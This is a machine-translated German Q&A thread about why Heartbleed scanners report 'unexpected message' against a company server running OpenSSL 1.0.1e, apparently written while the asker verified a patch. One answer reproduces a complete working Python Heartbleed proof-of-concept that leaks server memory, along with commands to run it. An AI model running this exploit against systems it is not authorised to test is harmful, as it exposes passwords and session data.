Heartbleed "Unerwartete Nachricht"

2083
Jovan Perovic

Ich habe die Aufgabe, den Softwarepatch unseres Unternehmens zu überprüfen, der HeartbleedAngriffe behandelt.

Ich bin mir sicher, dass diese Version der Software, die ich ausnutzen 1.0.1emöchte, die OpenSSL-Bibliothek verwendet, die anfällig sein sollte. Ich habe jedoch mehrere Heartbleed-Test-Tools ausprobiert, und alle sagen, dass in der Antwort ein Fehler aufgetreten ist und dass meine App wahrscheinlich nicht anfällig ist.

Während des Tests gab das CardiacArrest- Tool Folgendes zurück:

[INFO] Connecting to 10.63.62.79:443 using TLSv1.2 [INFO] Sending ClientHello [INFO] ServerHello received [INFO] Sending Heartbeat [INFO] The server received an alert. It is likely not vulnerable. [INFO] Alert Level: fatal [INFO] Alert Description: Unexpected message (see RFC 5246 section 7.2) [INFO] Closing connection 

Als ich RFC 5264 konsultierte, habe ich mehr Informationen über "Unerwartete Nachricht" gefunden:

unexpected_message
Eine unangemessene Nachricht wurde empfangen. Diese Warnung ist immer fatal und sollte bei der Kommunikation zwischen den richtigen Implementierungen niemals beobachtet werden.

Fragen:

  • Kann jemand etwas mehr Licht auf dieses Ergebnis werfen?
  • Könnte OpenSSLohne HeartbeatErweiterung kompiliert worden sein ?
  • Gibt es eine Möglichkeit, Erweiterungen aufzulisten, in die kompiliert wurde OpenSSL?

Danke vielmals!

6
Ja, OpenSSL * kann * ohne aktiviertes Heartbeat * kompiliert werden und [diese Sicherheitsfrage] (http://security.stackexchange.com/questions/55155/what-are-the-side-effects-of-recompiling-openssl-with) -dopenssl-no-heartbeats) gibt an, was * passieren soll *. Mokubai vor 10 Jahren 1
Vielen Dank! Nach dem Ausführen von 'openssl-Version -a' wurde 'DOPENSSL_NO_HEARTBEATS' nicht in meinem Terminal angezeigt, daher würde ich davon ausgehen, dass es ausreichend ist, auszuschließen, dass `OpenSSL` ohne die Erweiterung 'Heartbeat` kompiliert wurde. Grundsätzlich sollte diese Version (`1.0.1e`) definitiv verwundbar sein, oder? Jovan Perovic vor 10 Jahren 0
Wenn `DOPENSSL_NO_HEARTBEATS` nicht als Kompilierungsflag angezeigt wird, bedeutet dies, dass OpenSSL _mit_ der Erweiterung` Heartbeat` kompiliert wurde. 1.0.1e und alle anderen Versionen, die mit 1.0.1 beginnen, sind nur anfällig, wenn sie mit Heartbeat-Unterstützung kompiliert werden. ov1d1u vor 10 Jahren 3
Das ist auch was vermutet. Ich kann es jedoch nicht schaffen, Schwachstellen in der Version mit OpenSSL 1.0.1e zu reproduzieren. Ich brauche eine Art Arbeitsbeweis, dass die Softwareversion mit '1.0.1e' verwundbar ist und eine danach nicht ... Jovan Perovic vor 10 Jahren 0
Überprüfen Sie das Datum in Ihrer openssl-Version (vorausgesetzt, Sie verwenden einen Paketmanager wie apt). Wenn es nach dem 7. April ist, geht es dir gut. auch dies: http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-are-are-options-to-mitigate-it und das: http://askubuntu.com/questions/444702 / How-to-Patch-the-heartbleed-bug-cve-2014-0160-in-openssl puredevotion vor 10 Jahren 0
Das Back-Patching der Distribution ist zum Teil nervig. Sie wissen nicht, was Sie wirklich haben ... [Bestimmen Sie die effektive Sicherheitsversion, wenn Sie mit Backpatching konfrontiert werden] (https://superuser.com/questions/740418/determine-effective-security-version-wenn-faced-with-backpatching ) FTW! jww vor 10 Jahren 0

2 Antworten auf die Frage

2
harrymc

Nicht jedes Produkt, das eine anfällige OpenSSL-Bibliothek verwendet, ist automatisch anfällig für Heartbeat. Dies ist ein Fehler auf SSL / TLS-Ebene, kein Kern-Krypto-Code-Fehler. Es hängt alles davon ab, wie Ihr Produkt die Bibliothek verwendet.

Der Fehler selbst ist nicht so schwerwiegend wie angekündigt, da er einen 64-KB-Block des Programmspeichers zurücksendet, der auf den Sendepuffer folgt. Dieser Block kann vertrauliche Daten enthalten oder nicht. Und selbst wenn es solche Daten enthält, muss der Hacker sie noch vom umgebenden Müll isolieren.

Es gibt eine Reihe von Produkten, die die verwundbare OpenSSL-Bibliothek verwenden, aber selbst nicht anfällig sind, nur weil sie diese Fehlerbedingung falsch behandeln (Fehler, die vor Fehlern schützen). Ihr Produkt könnte eines davon sein.

Sie sollten einen Line-Sniffer wie Wireshark installieren und das Heartbeat-Nachrichtenpaket und seine Antwort beobachten. Wenn die Antwort sehr lang ist und 64 KB erreicht, ist Ihr Produkt anfällig. Wenn es kurz ist, wie fehlerhaft es auch ist, sind Sie nicht anfällig.

Die beste Lösung ist natürlich das Patchen der OpenSSL-Bibliothek.

Herzliche Informationen

Eine gute Erklärung für diesen Fehler finden Sie im Artikel Anatomy of OpenSSL's Heartbleed :

Heartbleed

Der C-Code in OpenSSL, der den Fehler verursacht, lautet:

/* Enter response type, length and copy payload */ *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload); 

Dieser Code wird durch eine einfache Überprüfung der variablen Nutzdaten vor dem Aufruf von memcpy (Memory Copy-Funktion) festgelegt.

Es werden nur die 64 KB gesendet, die auf die erstellte Nachricht folgen. Die Nachricht selbst wird vermutlich von der Funktion malloc () im Speicher zugewiesen, daher befindet sie sich möglicherweise nicht immer an derselben Adresse. Es gibt jedoch Grenzen, bis zu denen Daten extrahiert werden können.

Dies bedeutet, dass Geschichten über das Lesen des gesamten Prozessspeichers über diesen Fehler nur erschreckende Geschichten sind, obwohl der Angreifer mit etwas Glück Glück haben kann und sehr sensible Daten erhält. Es hängt alles davon ab, wie das angegriffene Produkt programmiert wurde und wie das Speicherlayout genau ist.

Ich denke nicht, dass dies eine seiner Fragen beantwortet;) Nun, vielleicht die erste Frage. Aber es ist eine gute Information für den Gelegenheitsleser. jww vor 10 Jahren 0
1
Cameron Kerr

Zunächst einmal wurde gezeigt, dass Heartbleed in der Lage ist, einen Prozessspeicher (jeweils 64 KB) zu scannen, und das ist sehr ernst. Auch ohne das lassen sich die Daten, die eingesehen werden können, leicht aufzeigen, wie Passwörter, Sitzungstoken und eine Reihe anderer Dinge (insbesondere für die PHP-Anwendungen, die ich mir angesehen habe).

Beachten Sie, dass sich Hearbleed auf TLS 1.1 und 1.2 auswirkt. Wenn Sie also testen, müssen Sie dies angeben. (Ich kann nicht sicher sein, ob die Einschränkung der SSL-Version eine nützliche Einschränkung darstellt; am besten zu patchen und zu ersetzen)

Eine unbekannte Nachricht bedeutet in diesem Fall sehr wahrscheinlich, dass Sie nach einer Option gefragt haben, die für den Peer nicht geeignet (oder nicht unterstützt) ist. Sie erhalten dies möglicherweise, wenn Sie TLS 1.2 nicht angeben.

Ich habe ein kleines Python-Tool von Jared Stafford verwendet. Es ist aufschlussreich, dies auszuführen und watchzu sehen, was Sie sehen können. Es ist nicht auf seiner Website aufgeführt, daher habe ich es unten aufgeführt. Sie wollen es mit so etwas ausführen./heartbleed --port 443 --ver 2 SERVER_IP

Ich fand es nützlicher zu laufen ist wie folgt:

 ./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................' 

oder:

./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable' 

Ich habe keine ungepatchten Server, mit denen dies demonstriert werden kann. Wenn Sie jedoch verwundbar sind, erhalten Sie einen Hex- / ASCII-Dump des gefundenen Materials. Sie erhalten auch eine server is vulnerableNachricht.

#!/usr/bin/python  # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # # -shirk added TLS version # -jpicht added SMTP STARTTLS hack  import sys import struct import socket import time import select import re from optparse import OptionParser  options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data') options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)')  def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex')  hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''')  hbv10 = h2bin(''' 18 03 01 00 03 01 40 00 ''')  hbv11 = h2bin(''' 18 03 02 00 03 01 40 00 ''')  hbv12 = h2bin(''' 18 03 03 00 03 01 40 00 ''')   def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print  def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata   def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay  def hit_hb(s): #s.send() while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False  if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True  if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False  def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port))  if opts.smtpstarttls: print 'Sending STARTTLS...' sys.stdout.flush() s.send("STARTTLS\n") print 'Waiting for reply...' sys.stdout.flush() recvall(s, 100000, 1)  print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break  print 'Sending heartbeat request...' sys.stdout.flush() if (opts.ver == 1): s.send(hbv10) hit_hb(s) if (opts.ver == 2): s.send(hbv11) hit_hb(s) if (opts.ver == 3): s.send(hbv12) hit_hb(s)   if __name__ == '__main__': main() 
OK, nach ein paar Tagen, in denen ich jeden Winkel untersucht habe, bin ich zu dem Schluss gekommen, dass die Software unseres Unternehmens nicht anfällig ist. Zu Testzwecken war ich mit einem zusätzlichen Server ausgestattet und habe jedes bekannte Testprogramm von Google ausgeführt, um die Schwachstelle zu ermitteln. Viele Tests haben gezeigt, dass der Server tatsächlich verwundbar ist. Außerdem haben dieselben Dienstprogramme "Server Alert / Unknown message" zurückgegeben, wenn sie mit unserem Anwendungsserver getestet wurden. Carmeron, vielen Dank für die ausführliche Erklärung und Hilfe in dieser Angelegenheit. Kopfgeldpunkte gehen an Sie - schließlich waren Sie hier, um den Ernst des Exploits zu erklären / zu erklären :) Jovan Perovic vor 10 Jahren 0
Genial. Ich bin froh, dass ich helfen konnte. Cameron Kerr vor 10 Jahren 0